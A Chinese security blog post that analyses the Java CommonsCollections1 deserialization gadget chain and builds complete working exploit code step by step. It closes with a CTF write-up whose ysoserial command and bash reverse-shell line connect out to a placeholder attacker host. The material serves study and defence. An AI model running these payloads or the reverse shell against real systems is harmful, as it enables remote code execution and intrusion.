cc1
利用版本
CommonsCollections 3.1 - 3.2.1
限制
JDK版本:1.7 (8u71之后已修复不可利用)
分析1
涉及到的接口和类
TransformedMap
TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可以执⾏⼀个回调。我们通过下⾯这⾏代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map:
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,
valueTransformer);
其中,keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调。
我们这⾥所说的”回调“,并不是传统意义上的⼀个回调函数,⽽是⼀个实现了Transformer接⼝的类。
Transformer
Transformer是⼀个接⼝,它只有⼀个待实现的⽅法:
TransformedMap在转换Map的新元素时,就会调⽤transform⽅法,这个过程就类似在调⽤⼀个”回调函数“,这个回调的参数是原始对象。
ConstantTransformer
ConstantTransformer是实现了Transformer接⼝的⼀个类,它的过程就是在构造函数的时候传⼊⼀个
对象,并在transform⽅法将这个对象再返回:
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
所以他的作⽤其实就是包装任意⼀个对象,在执⾏回调时返回这个对象,进⽽⽅便后续操作。
InvokerTransformer
InvokerTransformer是实现了Transformer接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序
列化能执⾏任意代码的关键。在实例化这个InvokerTransformer时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[]
args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
后⾯的回调transform⽅法,就是执⾏了input对象的iMethodName⽅法:
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
ChainedTransformer
ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的作⽤是将内部的多个Transformer串
在⼀起。通俗来说就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊,我们画⼀个图做示意
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
理解demo
了解了这⼏个Transformer的意义以后,我们再回头看看demo的代码。这两段代码就⽐较好理解了:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
我创建了⼀个ChainedTransformer,其中包含两个Transformer:第⼀个是ConstantTransformer,
直接返回当前环境的Runtime对象;第⼆个是InvokerTransformer,执⾏Runtime对象的exec⽅法,参
数是 /System/Applications/Calculator.app/Contents/MacOS/Calculator 。
当然,这个transformerChain只是⼀系列回调,我们需要⽤其来包装innerMap,使⽤的前⾯说到的
TransformedMap.decorate
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
最后,怎么触发回调呢?这里我们可以发现在TransformedMap类里面有个put方法
下面有对键和值进行transform的方法,选择一个transformValue跟进一下
这里很显然如果传入的transformermap修饰过的值不是空的话,就调用他的transform方法,那么就会触发我们构造好的链子最后达到命令执行的效果,所以这里我们可以用put触发,这里的话两个值都随意,无关结果
outerMap.put("test", "xxxx");
测试代码
上述可得,总的代码为:
package ysoserial.test.util;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void main(String[] args) throws Exception {
//ConstantTransformer 触发transformer的时候返回 runtime
//InvokerTransformer 执行一下命令呗
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"}),
};
//transformerChain 前⼀个回调返回的结果,作为后⼀个回调的参数传⼊
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
//用TransformedMap修饰一下 被修饰过的Map在添加新的元素时,将可
以执⾏⼀个回调
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx"); //触发
}
}
运行一下:
但是一个demo离一个真正可利用的POC还有很大的距离,所以我们需要着手对其进行修改,这里只是我们本地环境去测试这个链子的可行性,那么其实实际过程中我们需要找到触发点,也就是一个重写了readObject方法的类,如果他重写的readObject类里面恰好调用了put方法,而这个put方法又恰好可以依据传入类来执行,那么就符合我们的预期了
AnnotationInvocationHandler
(这里没找到8u71之前的环境,官网的貌似被替换了,所以annotationlnvocationhandler的内容都是文字,无实操)
我们前面说过,触发这个漏洞的核心,在于我们需要向Map中加入一个新的元素。在demo中,我们可以手工执行 outerMap.put("test", "xxxx"); 来触发漏洞,但在实际反序列化时,我们需要找到一个
类,它在反序列化的readObject逻辑里有类似的写入操作。这个类就是 sun.reflect.annotation.AnnotationInvocationHandler ,我们查看它的readObject
方法(这是8u71以前的代码,8u71以后做了一些修改,这个后面再说):
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in
annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue :
memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
核心逻辑就是 Map.Entry<String, Object> memberValue : memberValues.entrySet() 和
memberValue.setValue(...) 。
memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap里注册的
Transform,进而执行我们为其精心设计的任意代码。
所以,我们构造POC的时候,就需要创建一个AnnotationInvocationHandler对象,并将前面构造的
HashMap设置进来:
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
这里因为 sun.reflect.annotation.AnnotationInvocationHandler 是在JDK内部的类,不能直接使
用new来实例化。我使用反射获取到了它的构造方法,并将其设置成外部可见的,再调用就可以实例化了。
AnnotationInvocationHandler类的构造函数有两个参数,第一个参数是一个Annotation类;第二个是
参数就是前面构造的Map。
为什么需要使用反射?
上一章我们构造了一个AnnotationInvocationHandler对象,它就是我们反序列化利用链的起点了。我们通过如下代码将这个对象生成序列化流:
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
在writeObject的时候出现异常了: java.io.NotSerializableException: java.lang.Runtime 。
原因是,Java中不是所有对象都支持序列化,待序列化的对象和所有它使用的内部属性对象,必须都实现了 java.io.Serializable 接口。而我们最早传给ConstantTransformer的是Runtime.getRuntime() ,Runtime类是没有实现 java.io.Serializable 接口的,所以不允许被序列化。
那么,如何避免这个错误呢?我们可以变通一下,看过前面《Java安全漫谈 - 反射篇》的同学应该知
道,我们可以通过反射来获取到当前上下文中的Runtime对象,而不需要直接使用这个类:
Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
转换成Transformer的写法就是如下:
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new
Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new
Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] {
"/System/Applications/Calculator.app/Contents/MacOS/Calculator" }),
};
其实和demo最大的区别就是将 Runtime.getRuntime() 换成了 Runtime.class ,前者是一个
java.lang.Runtime 对象,后者是一个 java.lang.Class 对象。Class类有实现Serializable接口,所
以可以被序列化。
为什么仍然无法触发漏洞?
修改Transformer数组后再次运行,发现这次没有报异常,而且输出了序列化后的数据流,但是反序列化时仍然没弹出计算器,这是为什么呢?
这个实际上和AnnotationInvocationHandler类的逻辑有关,我们可以动态调试就会发现,在
AnnotationInvocationHandler:readObject 的逻辑中,有一个if语句对var7进行判断,只有在其不
是null的时候才会进入里面执行setValue,否则不会进入也就不会触发漏洞:
那么如何让这个var7不为null呢?这一块我就不详细分析了,还会涉及到Java注释相关的技术。直接给
出两个条件:
- sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是
Annotation的子类,且其中必须含有至少一个方法,假设方法名是X - 被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素
所以,这也解释了为什么我前面用到 Retention.class ,因为Retention有一个方法,名为value;所以,为了再满足第二个条件,我需要给Map中放入一个Key是value的元素:
innerMap.put("value", "xxxx");
但是,如下最后写出来的代码,最终只适用于Java 8u71以前的版本,在8u71以后大概是2015年12月的时候,Java官方修改了 sun.reflect.annotation.AnnotationInvocationHandler 的readObject函数:
对于这次修改,有些文章说是因为没有了setValue,其实原因和setValue关系不大。改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。
所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执行set或put操作,也就不会触发RCE了。
完整代码
package org.vulhub.Ser;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0]
}),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] {
"/System/Applications/Calculator.app/Contents/MacOS/Calculator" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
LazyMap
LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承AbstractMapDecorator。
LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执
行transform,而LazyMap是在其get方法中执行的 factory.transform 。其实这也好理解,LazyMap
的作用是“懒加载”,在get找不到值的时候,它会调用 factory.transform 方法去获取一个值:
但是相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些,原因是在
sun.reflect.annotation.AnnotationInvocationHandler 的readObject方法中并没有直接调用到
Map的get方法。所以ysoserial找到了另一条路,AnnotationInvocationHandler类的invoke方法有调用到get:
那么又如何能调用到 AnnotationInvocationHandler#invoke 呢?ysoserial的作者想到的是利用Java
的对象代理。
Java对象代理
作为一门静态语言,如果想劫持一个对象内部的方法调用,实现类似PHP的魔术方法 __call ,我们需
要用到 java.reflect.Proxy :
Proxy.newProxyInstance 的第一个参数是ClassLoader,我们用默认的即可;第二个参数是我们需要
代理的对象集合;第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻辑。
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new
Class[] {Map.class}, handler);
比如,我们写这样一个类ExampleInvocationHandler:
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;
public class ExampleInvocationHandler implements InvocationHandler {
protected Map map;
public ExampleInvocationHandler(Map map) {
this.map = map;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws
Throwable {
if (method.getName().compareTo("get") == 0) {
System.out.println("Hook method: " + method.getName());
return "Hacked Object";
}
return method.invoke(this.map, args);
}
}
ExampleInvocationHandler类实现了invoke方法,作用是在监控到调用的方法名是get的时候,返回一 个特殊字符串 HackedObject 。
在外部调用这个ExampleInvocationHandler:
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class App {
public static void main(String[] args) throws Exception {
InvocationHandler handler = new ExampleInvocationHandler(new
HashMap());
Map proxyMap = (Map)
Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},handler);
proxyMap.put("hello", "world");
String result = (String) proxyMap.get("hello");
System.out.println(result);
}
}
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class App {
public static void main(String[] args) throws Exception {
InvocationHandler handler = new ExampleInvocationHandler(new
HashMap());
Map proxyMap = (Map)
Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},
handler);
proxyMap.put("hello", "world");
String result = (String) proxyMap.get("hello");
System.out.println(result);
}
}
运行App,我们可以发现,虽然我向Map放入的hello值为world,但我们获取到的结果却是 HackedObject :
我们回看 sun.reflect.annotation.AnnotationInvocationHandler
,会发现实际上这个类实际就 是一个InvocationHandler
,我们如果将这个对象用Proxy进行代理,那么在readObject的时候,只要 调用任意方法,就会进入到 AnnotationInvocationHandler#invoke
方法中,进而触发我们的 LazyMap#get
。
使用LazyMap构造利用链
所以,在上一章TransformedMap POC的基础上进行修改,首先使用LazyMap替换 TransformedMap:
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
然后,我们需要对 sun.reflect.annotation.AnnotationInvocationHandler 对象进行Proxy:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
代理后的对象叫做proxyMap,但我们不能直接对其进行序列化,因为我们入口点是 sun.reflect.annotation.AnnotationInvocationHandler#readObject ,所以我们还需要再用 AnnotationInvocationHandler对这个proxyMap进行包裹:
handler = (InvocationHandler) construct.newInstance(Retention.class,
proxyMap);
完整代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
分析2
1.流程和基础
一个普通的java反射写法
Class c=Runtime.class;
Method getRuntime = c.getMethod("getRuntime");
Runtime r=(Runtime)getRuntime.invoke(null);
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");
然后我们改成invokertransform方法,可以看到这里invokertransformer方法有三个参数,方法名,class数组 里面存放方法类型,object数组 里面存放方法需要的参数,只要执行了他的transform方法后就会invoke
所以我们的实现代码:
Class c=Runtime.class;
Method getRuntime = c.getMethod("getRuntime");
Runtime r=(Runtime)getRuntime.invoke(null);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
相当重新实现了一个反射,所以现在我们找到了InvokerTransformer里面的transform方法是个危险函数 所以
2.初步寻找链子
此时我们就应该往前找,找一下谁调用了同名transform
然后这里通过find usages可以很轻松发现我们需要寻找调用了transform的地方,这里我们分析一下checkSetValue
这里发现checkSetValue是属于TransformedMap类里面的,可以简单看一下类的构造方法,首先发现是protected类型的,意思是就只能被自己调用(这里的话就是被他的decorate方法调用了),然后就是传入一个map,一个key的修饰,一个value的修饰
我们再去找哪里调用了checkSetValue,findusages后发现只有AbstractInputCheckedMapDecorator抽象类里面的MapEntry类的setValue方法调用了
setValue其实就是再Map中对一组entry(键值对)进行赋值的操作,如下是一种遍历map类型的方法
所以到此为止我们可以认为只要出发了setValue就可以触发calc ,写一个测试代码:
Class c=Runtime.class;
Method getRuntime = c.getMethod("getRuntime");
Runtime r=(Runtime)getRuntime.invoke(null);
//
// Method execMethod = c.getMethod("exec", String.class);
// execMethod.invoke(r,"calc");
InvokerTransformer i = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
Hashtable<Object, Object> map = new Hashtable<>();
map.put("key","zzz");
Map<Object,Object> decorate = TransformedMap.decorate(map, null, i);
for(Map.Entry entry:decorate.entrySet()){
entry.setValue(r);
}
3.寻找链首
现在我们在setValue处,我们继续find 找一下有没有readObject里面调用setValue的,最后找到了一个AnnotationInvocation类的readObject调用了setValue(当然不是只有这步才能找,其实之前早找到readobject早结束了)
在调用setValue方法之前 我们还需要吧这几个if条件都给满足
4.手写EXP
因为AnnotationInvocationHandler的作用域为default,也就是我们只能在相应的包下面进行调用,所以我们需要通过反射的方式来获取这个类及其构造函数,再实例化它
通过反射获取类:
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annot = cl.getDeclaredConstructor(Class.class, Map.class);
annot.setAccessible(true);
annot.newInstance(Override.class,transformedmap);
因为类的构造方法不是Public,并且不是无参的构造函数,所以只能通过getDeclareConstructor获取构造方法,通过setAccessible设置作用域最终访问其构造方法
所以此时我们的代码是:
这里还有几个问题需要解决:
- Runtime对象是不可被序列化的,所以要通过反射把它变成课序列化的形势
- setValue()的参数,只有传入的是Runtime对象,才能顺利调用恶意代码;然而实际情况中setValue()传入的是下面依托
- 然后就是if判断也要解决
1.Runtime对象的反序列化问题
Runtime是不能被反序列化的 因为没有实现serialize接口,但是Class类又大量的serialize接口所以我们可以通过反射来实现Runtime
Class c = Runtime.class;
Method getruntime = c.getMethod("getRuntime");
Runtime runtime = (Runtime) getruntime.invoke(null,null); //第一个null因为getruntime是静态方法,所以不用给第一个参数,第二个null代表没参数
Method execgetMethod = c.getMethod("exec",String.class);
execgetMethod.invoke(runtime,"calc");
把上述反射修改成使用InvokerTransformer调用的方式
Class c = Runtime.class;
//对应 Method getruntime = c.getMethod("getRuntime");
Method getruntime = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(c);
//对应 Runtime runtime =(Runtime) getruntime.invoke(null, null);
Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntime);
//对应 Method execgetMethod = c.getMethod("exec", String.class);
//对应 execgetMethod.invoke(runtime, "calc");
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
梳理一下代码的逻辑 我们发现了
1.格式都是 new InvokerTransformer.transform()
2.前一个transform的结果作为后一个transform的参数
此时我们就可以想到了 有个ChainedTransformer这个类里面的transform方法就可以实现如上的逻辑,构造方法是需要传入一个transform数组 然后通过transform方法里面的for来实现头尾循环用那种感觉吧,当然第一个参数就是我们自己传递进去的,对应着下文中的Runtim.class对象
所以我们修改EXP,把ChainedTransformer加入到我们的代码中
Class c = Runtime.class;
Transformer[] transformer = {new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
new ChainedTransformer(transformer).transform(c);
再把它与decorate结合一下
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.swing.*;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class poc {
public static void main(String[] args) throws Exception {
Transformer[] transformers = {
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(c);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "xxx");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annot = c.getDeclaredConstructor(Class.class, Map.class);
annot.setAccessible(true);
Object o = annot.newInstance(Override.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
此时Runtime的问题我们结局了,但是运行后还是不会弹出计算器,是因为我们的EXP没有进行transformer的调用,调试一下看看
2.满足所有IF
我们在AnnotationInvocationHandler的两个 if 判断打断点,可以看到运行到第一个if的时候我摩恩的memberType还是null 所以无法满足第一个if
明显可以看到membertype的来源是membertypes,而这个membertypes有事来自annotation,当然也就是AnnotationType.getInstance(Type)
然后我们看一下我们传入的Type 也就是Override,发现里面空空如也
这里的话我们可以换成Retention 可以发现里面室友这个value的
修改代码再次调试一下
这里有个逻辑就是我们得到的memberTypes的key=value 所以我们必须把put的key改成value才能你让下面memberType = memberTypes.get(name);
获取到对应的值
那么第二个的话是判断value(也就是xxx) 能不能强制转换为memberType,而memberType是注解类型,字符类型肯定是转换不了的,所以顺利进入第二个if
3.解决setValue参数控制
这里我们的setvalue貌似就是写死的
我们可以调试一下然后跳过去看看,应该就是一个固定的这个
所以这里存在什么问题呢,我们知道 当setValue的时候会触发checksetvalue 然后进一步触发我们构造的chainedtransform的transform方法,然后开始链式调用,那么我们setValue传入的参数就会作为第一个链式调用的时候的参数,也就是new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null})的transform需要的参数,而我们需要的是一个Runtime.class,也就是我们需要可控,而上面我们分析Annotation里面的是个固定的,所以这里就需要我们的ConstantTransformer了
这里我们可以发现ConstTransformer的transform方法就是把构造函数传入的参数返回,也就是说我们只要写好后就不会收到传入参数的影响,返回值是固定的 只由构造函数决定,所以我们修改一下EXP,在Transformer数组头部加入new ConstantTransformer(Runtime.class)
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class poc {
public static void main(String[] args) throws Exception {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(c);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "xxx");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annot = c.getDeclaredConstructor(Class.class, Map.class);
annot.setAccessible(true);
Object o = annot.newInstance(Retention.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
这里我们成功执行了,然后也可以调试一下
这里发现执行ConstrantTransformer的transform方法的时候 传入的还是Annotation…也就是我们说的哪个固定值,但是返回的却是我们可控的Runtime.class,也就是说我们操作成功了
ysoserial的一些其他操作
有时候调试上述POC的时候,会发现弹出了两个计算器,或者没有执行到readObject的时候就弹出了计算器,这显然不是预期的结果,原因是什么呢?
在使用Proxy代理了map对象后,我们在任何地方执行map的方法就会触发Payload弹出计算器,所
以,在本地调试代码的时候,因为调试器会在下面调用一些toString之类的方法,导致不经意间触发了命令。
ysoserial对此有一些处理,它在POC的最后才将执行命令的Transformer数组设置到transformerChain
中,原因是避免本地生成序列化流的程序执行到命令(在调试程序的时候可能会触发一次
Proxy#invoke ):
ConstantTransformer(1) 最后的目的可能是为了隐蔽启动进程的日志特征
LazyMap与TransformedMap的对比
前面我们详细分析了LazyMap的作用并构造了POC,但是和上一篇文章中说过的那样,LazyMap仍然无法解决CommonCollections1这条利用链在高版本Java(8u71以后)中的使用问题。
LazyMap的漏洞触发在get和invoke中,完全没有setValue什么事,这也说明8u71后不能利用的原因和AnnotationInvocationHandler#readObject 中有没有setValue没任何关系(反驳某些文章不负责任
的说法),关键还是和逻辑有关,具体原因我上一篇文章也说过了。
题目测试:
ctfshow-web847
简单的限制 除了cc2和cc4以外都可以使用
这里我本地用cc1打一下
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,要执行命令的base64编码}|{base64,-d}|{bash,-i}"|base64
这里使用bash反弹
bash -i >& /dev/tcp/x.x.x.x/xxxx 0>&1
参考:
http://wjlshare.com/archives/1535
P牛-java安全漫谈
https://www.bilibili.com/video/av721250508
标签:分析,Map,class,Object,CommonsCollections1,import,new,序列化,Class From: https://www.cnblogs.com/z2n3/p/17204775.html